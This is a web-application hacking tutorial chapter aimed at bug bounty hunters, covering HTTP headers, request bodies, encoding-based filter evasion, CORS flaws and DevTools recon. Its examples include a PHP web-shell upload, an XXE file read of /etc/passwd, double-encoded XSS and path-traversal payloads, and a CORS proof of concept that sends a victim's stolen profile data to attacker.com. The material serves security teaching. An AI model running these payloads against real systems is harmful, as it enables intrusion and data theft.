HTTP Deep Dive + DevTools

Request Headers — Full Reference #

Every request header is client-controlled input. Anything the server trusts without validation is a potential attack surface. The table below maps each header to its concrete exploit context.

Response Headers — Security Audit #

Response headers are the server's security configuration made visible. A five-second header review can identify entire vulnerability classes before you've sent a single malicious request.

That response is a bug bounty report waiting to be written. Every ⚠ line above represents a finding. Together they indicate a server with minimal security hardening. Here's the complete reference:

Request Bodies — Format Deep Dive #

POST, PUT, and PATCH requests carry their data payload in the request body. The Content-Type header tells the server how to parse it. Understanding each format — and what happens when you switch between them — is a core bypass skill.

Content-Type: application/x-www-form-urlencodedPOST /login HTTP/1.1
Host: app.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

username=admin&password=secret&remember=1

Content-Type: application/jsonPOST /api/v1/login HTTP/1.1
Host: app.example.com
Content-Type: application/json
Content-Length: 47

{"username":"admin","password":"secret","otp":null}

Content-Type: multipart/form-data; boundary=----boundary7MAPOST /upload HTTP/1.1
Host: app.example.com
Content-Type: multipart/form-data; boundary=----boundary7MA

------boundary7MA
Content-Disposition: form-data; name="username"

admin
------boundary7MA
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------boundary7MA--

Content-Type: application/xml  (SOAP / Legacy APIs)POST /api/user HTTP/1.1
Host: app.example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <username>&xxe;</username>
</user>

Complete Request / Response Pair #

This is exactly how a login transaction looks when intercepted in a proxy. Study every line — each one is a potential manipulation point.

→ REQUEST (captured in Burp Suite / browser DevTools)POST /api/v1/auth/login HTTP/1.1
Host: app.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: application/json
Content-Type: application/json
Content-Length: 52
Origin: https://app.example.com
Cookie: csrf_token=a1b2c3d4; analytics=xyz

{"username":"admin@example.com","password":"hunter2"}

← RESPONSEHTTP/1.1 200 OK
Date: Mon, 01 Jan 2025 12:00:00 GMT
Content-Type: application/json
Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9...; Path=/; HttpOnly; Secure; SameSite=Lax
X-Request-ID: a7f3c8b2-1234-5678-abcd-ef1234567890

{"status":"ok","redirect":"/dashboard","user":{"id":42,"role":"user"}}

What a hunter sees here:

• JSON response includes role field. What happens if you send "role":"admin" in the login request body? → Mass assignment test.
• X-Request-ID is present. Useful for tracking requests in logs — and for blind injection confirmation (does the ID change on error?).
• Session cookie has HttpOnly + Secure + SameSite=Lax. Good flags — but Lax still allows cookies on top-level GET navigations, which has CSRF implications for certain flows.
• redirect value in JSON body. Is this value used client-side? If JavaScript reads it and sets window.location, this is an open redirect and potential XSS sink.

URL Encoding & Filter Evasion #

URLs can only contain a safe subset of ASCII characters. Special characters must be percent-encoded. Beyond spec compliance, encoding is one of the most powerful filter evasion tools available.

Encoding Reference

Encoding Bypass Techniques

Single Encoding — Basic filter bypassBlocked:   ?q=<script>alert(1)</script>
Encoded:   ?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E
→ WAF checks raw string, decodes after → payload reaches app

Double Encoding — Bypass decode-then-check filtersSingle:    %3C  (decoded to <)
Double:    %253C (decoded to %3C, then again to <)

Attack:    ?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E
→ Filter decodes once: sees %3Cscript%3E — not flagged
→ App decodes again: executes <script>

Path Traversal — Encoding variationsBasic:          ../../etc/passwd
URL encoded:    ..%2F..%2Fetc%2Fpasswd
Double encoded: ..%252F..%252Fetc%252Fpasswd
Unicode:        ..%c0%af..%c0%afetc%c0%afpasswd
Null byte:      ../../etc/passwd%00.jpg  ← truncates .jpg, reads passwd

CORS — Misconfigurations That Pay #

CORS (Cross-Origin Resource Sharing) is the mechanism that allows — or blocks — JavaScript running on one origin from reading responses from another origin. Misconfigurations are common and high-severity.

Request:
Origin: https://evil.com

Response:
Access-Control-Allow-Origin: https://trusted.com
→ Browser blocks evil.com from reading response ✓

Request:
Origin: https://evil.com

Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
→ evil.com can read the authenticated response ✗

CORS Misconfiguration Patterns

CORS Exploit PoC — Origin Reflection Attack<!-- Hosted on attacker.com -->
<script>
  fetch('https://api.victim.com/user/profile', {
    credentials: 'include'   // sends victim's session cookies
  })
  .then(r => r.json())
  .then(data => {
    // Send stolen data to attacker's server
    fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(data)));
  });
</script>

// Works when:
// 1. Server reflects Origin: attacker.com back in ACAO header
// 2. Server sets Access-Control-Allow-Credentials: true

HTTP Request Smuggling — Concept Introduction #

This is one of the most impactful and underestimated vulnerability classes in modern web security. Understanding it starts with understanding how the two body-length headers work.

Two ways to specify request body length:

• Content-Length: 47 — Exact byte count of the body
• Transfer-Encoding: chunked — Body sent in chunks, each prefixed with its hex size, terminated by a 0 chunk

DevTools — Mastery Guide #

Before deploying Burp Suite, your browser DevTools is a zero-setup interception surface. Every hunter should be fluent in these five tabs.

Network Tab

• Filter by type: XHR/Fetch to isolate API calls from static assets. This is where the real application logic lives.
• Preserve log: Enable this checkbox to prevent requests from clearing on page navigation — critical when tracing auth flows across redirects.
• Replay requests: Right-click any request → Copy as cURL → modify → run in terminal for rapid parameter testing.
• Timing tab: Shows DNS lookup time, TLS handshake, TTFB. Timing differences can reveal blind SQL injection or SSRF by detecting slower responses on injected requests.
• Initiator tab: Shows which JavaScript file triggered a specific request — helps you trace API calls back to source code.

Copy as cURL — Replay from terminal# Right-click request in Network tab → Copy as cURL:
curl 'https://app.example.com/api/user/42' \
  -H 'Authorization: Bearer eyJhbGci...' \
  -H 'Cookie: session=abc123' \
  --compressed

# Modify and replay — test IDOR by changing user ID:
curl 'https://app.example.com/api/user/43' \
  -H 'Authorization: Bearer eyJhbGci...' \
  -H 'Cookie: session=abc123' \
  --compressed

Application Tab

• Cookies: Inspect every cookie — name, value, domain, path, expiry, and all security flags. You can edit cookie values directly here for quick tampering.
• localStorage / sessionStorage: Many modern SPAs store tokens, user data, or even auth state here. Check for JWTs, API keys, or sensitive PII stored insecurely.
• Service Workers: A hijacked service worker can intercept all network requests from that origin — a powerful XSS post-exploitation target.
• IndexedDB / Cache Storage: Sometimes sensitive data is cached here — worth checking on data-heavy applications.

Console Tab

• Read JavaScript errors — they often expose internal paths, variable names, or third-party API keys in stack traces.
• Run JavaScript directly: document.cookie to see non-HttpOnly cookies, localStorage to dump all stored values.
• Inject and test DOM XSS payloads interactively before weaponizing them.

Console — Quick recon one-liners// Dump all cookies visible to JS (non-HttpOnly):
document.cookie

// Dump all localStorage entries:
Object.entries(localStorage)

// Find all forms on page and their action endpoints:
[...document.forms].map(f => ({id:f.id, action:f.action, method:f.method}))

// Find all links to external domains (potential open redirects):
[...document.links].filter(l => !l.hostname.includes('example.com')).map(l=>l.href)

Sources Tab

• Global search (Ctrl+Shift+F): Search all loaded JS files for: api/, token, secret, password, key, internal, admin, TODO, FIXME. Developers routinely leave credentials and endpoint paths in frontend code.
• Source maps: If .map files are publicly accessible, they expose the original pre-minified source code — a goldmine for finding hidden logic.
• Breakpoints: Set breakpoints on JavaScript functions to pause execution and inspect variable state — essential for understanding complex auth flows in SPAs.

Elements Tab (Bonus)

• Inspect hidden form fields — <input type="hidden" name="role" value="user">. Change the value in DevTools and submit to test for mass assignment.
• Locate data-* attributes on HTML elements — apps sometimes embed user IDs, tokens, or API endpoints directly in the DOM.
• Find inline event handlers that could be XSS sinks: onclick="load('"+data+"')"

Chapter 2 — Operational Drills #